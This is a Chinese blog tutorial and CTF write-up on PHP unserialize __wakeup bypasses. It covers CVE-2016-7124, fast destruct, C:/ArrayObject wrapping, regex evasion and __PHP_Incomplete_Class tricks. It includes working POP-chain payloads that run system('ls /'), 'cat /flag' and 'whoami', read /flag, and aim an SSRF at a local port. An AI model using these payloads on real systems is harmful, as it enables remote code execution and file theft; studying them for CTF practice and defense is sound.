php的__wakeup绕过

__wakeup绕过

cve-2016-7124

影响范围:

  • PHP5 < 5.6.25
  • PHP7 < 7.0.10

如果序列化字符串中表示对象属性个数的值大于真实的属性个数时,wakeup()的执行会被跳过。

听名字很高大上,其实就是最常用的修改数字

image-20230903185255743

image-20230903185345104

php引用赋值&

image-20230903185722842

<?php
highlight_file(__file__);
function test (&$a){ 
    $x=&$a;           ###共用一个地址
    $x='123';
}
$a='11';
test($a);
echo $a;
?>

示例

<?php
highlight_file(__file__);
class KeyPort{
    public $key;
    public function __destruct()
    {
        $this->key=False;
        if(!isset($this->wakeup)||!$this->wakeup){
            echo "You get it!";
        }
    }
    public function __wakeup(){
        $this->wakeup=True;
    }
}
if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
$a = new KeyPort();
$a->key = &$a->wakeup;
//$a->wakeup = &$a->key;
echo serialize($a);

image-20230903190353939

值恒相等

我记得好像见过要令两个值相等,但又不能赋值的情况(遇到再说吧)

$this→b = &$this→a

fast destruct (不仅是wakeup也能绕throws new Error)

追加总结,fast destruct是绕过别的类里面的__wakeup,同一个类中的__destruct始终在同一个类中的__wakup之后执行(是在pop链的时候,只有一个类可以绕过)

  • 在PHP中如果单独执行unserialize()函数,则反序列化后得到的生命周期仅限于这个函数执行的生命周期,在执行完unserialize()函数时就会执行__destruct()方法
  • 而如果将unserialize()函数执行后得到的字符串赋值给了一个变量,则反序列化的对象的生命周期就会变长,会一直到对象被销毁才执行析构方法

$a = unserialize($_GET['pop']);      ##特征

在我看来,fast destruct的原理就是利用反序列化字符串报错

正常反序列化的结果:
a:2:{i:0;O:7:"classes":0:{}i:1;O:4:"Test":0:{}}

------------------------------------------------------------

a:2:{i:0;O:7:"classes":0:{}i:1;O:4:"Test":0:{}     #减少末尾的}
a:3:{i:0;O:7:"classes":0:{}i:1;O:4:"Test":0:{}}     #改变类属性的个数
a:2:{i:0;O:7:"classes":0:{}i:1;O:4:"Test":0:{};}    #后面插入个;号

(第二种那不就变得跟cve-2016那个一样了吗)

理论上只要不破坏链条的基本结构,其他的地方你随便改,使它报错即可


DASCTF X GFCTF 2022十月挑战赛 easypop

<?php
highlight_file(__FILE__);
error_reporting(0);

class fine
{
    private $cmd;
    private $content;

    public function __construct($cmd, $content)
    {
        $this->cmd = $cmd;
        $this->content = $content;
    }

    public function __invoke()
    {
        call_user_func($this->cmd, $this->content);
    }

    public function __wakeup()
    {
        $this->cmd = "";
        die("Go listen to Jay Chou's secret-code! Really nice");
    }
}

class show
{
    public $ctf;
    public $time = "Two and a half years";

    public function __construct($ctf)
    {
        $this->ctf = $ctf;
    }


    public function __toString()
    {
        return $this->ctf->show();
    }

    public function show(): string
    {
        return $this->ctf . ": Duration of practice: " . $this->time;
    }


}

class sorry
{
    private $name;
    private $password;
    public $hint = "hint is depend on you";
    public $key;

    public function __construct($name, $password)
    {
        $this->name = $name;
        $this->password = $password;
    }

    public function __sleep()
    {
        $this->hint = new secret_code();
    }

    public function __get($name)
    {
        $name = $this->key;
        $name();
    }


    public function __destruct()
    {
        if ($this->password == $this->name) {

            echo $this->hint;
        } else if ($this->name = "jay") {
            secret_code::secret();
        } else {
            echo "This is our code";
        }
    }


    public function getPassword()
    {
        return $this->password;
    }

    public function setPassword($password): void
    {
        $this->password = $password;
    }


}

class secret_code
{
    protected $code;

    public static function secret()
    {
        include_once "hint.php";
        hint();
    }

    public function __call($name, $arguments)
    {
        $num = $name;
        $this->$num();
    }

    private function show()
    {
        return $this->code->secret;
    }
}


if (isset($_GET['pop'])) {
    $a = unserialize($_GET['pop']);
    $a->setPassword(md5(mt_rand()));
} else {
    $a = new show("Ctfer");
    echo $a->show();
}
<?php
class fine
{
    public $cmd;
    public $content;

    public function __construct()
    {
        $this->cmd = "system";
        $this->content = "ls /";
    }
}
class show
{
    public $ctf;
    public $time = "Two and a half years";
}
class sorry
{
    public $name;
    public $password;
    public $hint;
    public $key;

}
class secret_code
{
    public $code;
}
$d = new sorry();
$d->key = new fine();
$c = new secret_code();
$b = new show();
$a = new sorry();
$a->hint = $b;
$b->ctf = $c;
$c->code = $d;
echo serialize($a);
##
O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:3:"key";N;s:4:"hint";O:4:"show":1:{s:3:"ctf";O:11:"secret_code":1:{s:4:"code";O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:3:"key";O:4:"fine":2:{s:3:"cmd";s:6:"system";s:7:"content";s:9:"cat /flag";}s:4:"hint";r:10;}}}

pop链就不讲了(还是有难度的,因为我对private等的理解不够)

payload:

O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:3:"key";N;s:4:"hint";O:4:"show":1:{s:3:"ctf";O:11:"secret_code":1:{s:4:"code";O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:3:"key";O:4:"fine":2:{s:3:"cmd";s:6:"system";s:7:"content";s:9:"cat /flag";}s:4:"hint";r:10;}}

相似题目的特殊情况

上面的题目因为开头是sorry类,所以正好能调用setPassword

$a = unserialize($_GET['pop']);
$a->setPassword(md5(mt_rand()));

但若调用了个不存在的方法呢

#这里$FV的类没有loadfile()方法
$FV = unserialize(base64_decode($path_info));
$FV->loadfile();

题目

<?php
    class FileViewer{
        public $black_list = "flag";
        public $local = "http://127.0.0.1/";
        public $path;
        public function __call($f,$a){
            $this->loadfile();
        }
        public function loadfile(){
            if(!is_array($this->path)){
                if(preg_match("/".$this->black_list."/i",$this->path)){
                    $file = $this->curl($this->local."cheems.jpg");
                }else{
                    $file = $this->curl($this->local.$this->path);
                }
            }else{
                $file = $this->curl($this->local."cheems.jpg");
            }
            echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';
        }
        public function curl($path){
            $url = $path;
            $curl = curl_init();
            curl_setopt($curl, CURLOPT_URL, $url);
            curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($curl, CURLOPT_HEADER, 0);
            $response = curl_exec($curl);
            curl_close($curl);
            return $response;
        }
        public function __wakeup(){
            $this->local = "http://127.0.0.1/";
        }
    }
    class Backdoor{
        public $a;
        public $b;
        public $superhacker = "hacker.jpg";
        public function goodman($i,$j){
            $i->$j = $this->superhacker;
        }
        public function __destruct(){
            $this->goodman($this->a,$this->b);
            $this->a->c();
        }
    }
$path_info = $_GET['path_info'];
$FV = unserialize(base64_decode($path_info));
$FV->loadfile();
#pop链
Backdoor::destruct–>FileViewer::__call–>FileViewer::loadfile

可以看到反序列化后的开头类是Backdoor (不太会表述,自行理解一下)

Backdoor没有loadfile()方法

image-20230904113401962

预期解fast destruct

<?php
    class FileViewer{
        public $black_list = "flag";
        public $local = "http://127.0.0.1/";
        public $path;
    }
    class Backdoor{
        public $a;
        public $b;
        public $superhacker = "http://127.0.0.1:65500";

        public function __construct(){
            $this->a = new FileViewer;
            $this->b="local";
         } 
    }
    $a=new Backdoor();
    echo serialize($a);
?>

结果随便改点触发fast destruct即可

特殊解法

再实例化一个 FileViewer 对象 将 Backdoor 塞进这个对象的某个属性里(不存在的属性)

$a=new Backdoor();
$b=new FileViewer();
$b->test = $a;        ###FileViewer中没有test属性
echo base64_encode(serialize($b));

先总结一下这道题的做法

这道题目主要是在loadfile()报错终止程序之前触发__destruct方法(就是预期解)

image-20230904132128523

可以看到__destruct__wakeup还要提前执行(所以可以__wakeup绕过,但这里就不是绕过__wakeup的问题)

特殊解决方法

loadfile()不会报错,并且由于这里有可以赋值的函数,所以__wakeup的限定已经是废了

public function goodman($i,$j){
    $i->$j = $this->superhacker;
}

image-20230904131915690

对这道题的个人一些小问题,挺不理解的还是魔法函数的调用顺序问题

但这里的调用顺序不是很明白

image-20230904131915690

问了unknown师傅,原来new 了几次Fileviewer就会触发几个__wakeup,然后都在unserialzie之前调用,接着由于是FileViewer类可以调用loadfile(),调用完后程序结束触发__destruct

由此扩展一下

假设Backdoor中也有__wakeup方法,那会是咋样的呢

预期解(fast destruct之后)

image-20230904190051280

对比之前预期解的结果,可以看到先触发了Fileviewer的__wakeup,再触发了Backdoor的__wakeup,然后执行__destruct

可以绕过报错,但无法绕过__wakeup,。。。。。。。(哎)

特殊解决方法 的情况

image-20230904194132585

这backdoor中的__wakeup触发顺序不是很懂

当我在特殊情况上多套一层

$a = new Backdoor();
$a->a = new FileViewer();
$a->b= "local";
$b = new FileViewer();
$b->test = $a;
$c = new FileViewer();
$c->test = $b;
echo serialize($c);

image-20230904201512660

是在输出back_wakeup之后多输出了一次__wakup

那我在特殊情况的backdoor里面多套一层new FileViewer

$c = new FileViewer();
$a = new Backdoor();
$a->a = new FileViewer();
$a->b= "local";
$a->c = $c;
$b = new FileViewer();
$b->test = $a;
echo serialize($b);

image-20230904201833235

由此得出__wakeup函数的触发顺序

总结
  • new 了几次Fileviewer就会触发几个__wakeup
  • 当本类同时有__destruct__wakeup,fast destruct绕不过去
  • 有多个__wakeup函数时,触发的顺序是根据payload中的类由里到外的顺序

php issue#9618 (wakeup与destruct在不同类)

原理:

序列化时protected字段名前面会加上\0*\0的前缀 s:6:"\0*\0end"

序列化时private字段名前面会加上\0类名\0的前缀 s:6:"\0A\0end"

class A
{
    private $end = "1";       #privateprotected的变量
}

由于\0不可见(一般改为%00),上传时会出现数字与字符数量不匹配的情况

#序列化的真实情况
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"znd";N;}s:6:"\0A\0end";s:1:"1";}

#上传payload
O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"znd";N;}s:6:"Aend";s:1:"1";}

大概跟字符串报错一个原理

当在同一个类中时,想要以这样的方式绕过__wakeup是行不通的(而且是无法解析)

image-20230903225210268

当加入%00时才能输出(但不能绕过)

image-20230903225414998

使用C绕过

因为C中不存在__wakeup方法,所以就直接跳过去了

C只能执行construct()函数或者destruct()函数,并且无法添加任何内容

<?php
class ctfshow{

    public function __wakeup(){
        die("not allowed!");
    }

    public function __destruct(){
        echo "OK";
        system($this->ctfshow);
    }
} 
$a=new ctfshow();
$a->ctfshow = "whoami";
echo serialize($a);
##O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}

直接改为C:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";} ,无结果回显

使用C:7:"ctfshow":0:{},能够成功绕过__wakeup执行__destruct的代码(但由于不能带参数,无法执行system函数)

image-20230903232632446

真正做法

使用ArrayObject对正常的反序列化进行一次包装,让最后输出的payload以C开头

<?php
class ctfshow {
    public $ctfshow;
    public function __wakeup(){
        die("not allowed!");
    }
    public function __destruct(){
        echo "OK";
        system($this->ctfshow);
    }
}
$a=new ctfshow;
$a->ctfshow="whoami";
$arr=array("evil"=>$a);
$oa=new ArrayObject($arr);
$res=serialize($oa);
echo $res;
?>
#C:11:"ArrayObject":77:{x:i:0;a:1:{s:4:"evil";O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}};m:a:0:{}}

并且不能像平常一样修改命令和对应数量

C:11:"ArrayObject":77:{x:i:0;a:1:{s:4:"evil";O:7:"ctfshow":1:{s:7:"ctfshow";s:4:"ls /";}};m:a:0:{}}     #修改命令和对应数量

image-20230903233724352

无结果

其他像ArrayObject的生成以c开头的payload,请看愚人杯3rd[easy_php] | Boogiepop Doesn’t Laugh (boogipop.com)](https://boogipop.com/2023/04/02/愚人杯3rd [easy_php]/)

嘿嘿,还得是Boogipop大佬

序列化字符串正则绕过(不能传入以O和a开头的序列化值)

字符O绕过

低版本<7.1.33

unserialize('O:+1:"C":0:{}');

字符i,d绕过

<8.0.3(全版本)

echo unserialize('i:-1;');
echo "\n";
echo unserialize('i:+1;');
echo "\n";
echo unserialize('d:-1.1;');
echo "\n";
echo unserialize('d:+1.2;');

php冷知识

题目:serialize(unserialize($x)) != $x

正常来说一个合法的反序列化字符串,在二次序列化也即反序列化再序列化之后所得到的结果是一致的。

<?php
$raw = 'O:1:"A":1:{s:1:"a";s:1:"b";}';

echo serialize(unserialize($raw));
#O:1:"A":1:{s:1:"a";s:1:"b";}

当我们反序列化一个不存在的类时,会发生什么

image-20230904104019989

可以看到出现了__PHP_Incomplete_Class

PHP在遇到不存在的类时,会把不存在的类转换成__PHP_Incomplete_Class这种特殊的类,同时将原始的类名A存放在__PHP_Incomplete_Class_Name这个属性中,其余属性存放方式不变。而我们在序列化这个对象的时候,serialize遇到__PHP_Incomplete_Class这个特殊类会倒推回来,序列化成__PHP_Incomplete_Class_Name值为类名的类(即A

当我们自己构造如下字符串

a:2:{i:0;O:8:"stdClass":1:{s:3:"abc";N;}i:1;O:22:"__PHP_Incomplete_Class":1:{s:3:"abd";N;}}

image-20230904110708015

可以看到当反序列化后的结果再次序列化后O:22:"__PHP_Incomplete_Class":1:{s:1:"a";O:7:"classes":0:{}}__PHP_Incomplete_Class_Name为空,找不到应该绑定的类,其属性就被丢弃了,导致了serialize(unserialize($x)) != $x的出现。

强网杯2021 WhereisUWebShell

<?php
// index.php
ini_set('display_errors', 'on');

include "function.php";
$res = unserialize($_REQUEST['ctfer']);
if(preg_match('/myclass/i',serialize($res))){
    throw new Exception("Error: Class 'myclass' not found ");
}
highlight_file(__FILE__);
echo "<br>";
highlight_file("myclass.php");
echo "<br>";
highlight_file("function.php");
<?php
// myclass.php
class Hello{
    public function __destruct()
    {   
        if($this->qwb) echo file_get_contents($this->qwb);
    }
}
?>
<?php
// function.php
function __autoload($classname){
    require_once "./$classname.php";
}
?>

需要加载myclass.php中的hello类,但是要引入hello类,根据__autoload我们需要一个classnamemyclass的类

但问题就是myclass类不存在,如果直接去反序列化,只会在反序列化myclass类的时候报错无法进入下一步,或者在反序列化Hello的时候找不到这个类而报错。

a:2:{i:0;O:22:"__PHP_Incomplete_Class":1:{s:3:"qwb";O:7:"myclass":0:{}}i:1;O:5:"Hello":1:{s:3:"qwb";s:5:"/flag";}}

myclass作为了__PHP_Incomplete_Class中属性,会触发__autoload引入myclass.php,而对他进行二次序列化时,因为__PHP_Incomplete_Class没有__PHP_Incomplete_Class_Name该对象会消失,从而绕过preg_match的检测,并在最后触发Hello类的反序列化。

网上的图

image-20230904134136323

这道题也能fast destruct

这里


php的__wakeup绕过
https://zer0peach.github.io/2023/08/31/php的-wakeup绕过/
作者
Zer0peach
发布于
2023年8月31日
许可协议